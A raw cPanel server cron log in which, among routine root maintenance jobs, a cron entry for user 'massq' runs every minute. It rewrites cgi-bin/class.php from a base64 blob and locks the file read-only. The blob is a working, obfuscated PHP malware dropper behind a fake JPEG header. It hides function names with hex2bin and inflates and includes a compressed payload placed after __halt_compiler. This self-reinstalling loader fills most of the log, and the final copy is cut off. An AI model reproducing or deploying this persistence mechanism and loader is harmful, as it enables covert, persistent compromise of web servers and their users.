Apr  6 04:48:01 server CROND[13156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:49:01 server CROND[13259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:50:01 server CROND[13333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:50:01 server CROND[13335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:50:01 server CROND[13336]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 04:50:01 server CROND[13337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:50:01 server CROND[13338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:51:01 server CROND[13478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:52:01 server CROND[13545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:53:01 server CROND[13618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:54:01 server CROND[13797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:55:01 server CROND[13903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:55:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:55:01 server CROND[13905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:56:01 server CROND[14111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:57:01 server CROND[14205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 04:57:01 server CROND[14204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:58:01 server CROND[14292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:59:01 server CROND[14459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:00:01 server CROND[14529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:00:01 server CROND[14530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:00:01 server CROND[14531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:00:01 server CROND[14532]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:01:01 server CROND[14672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uo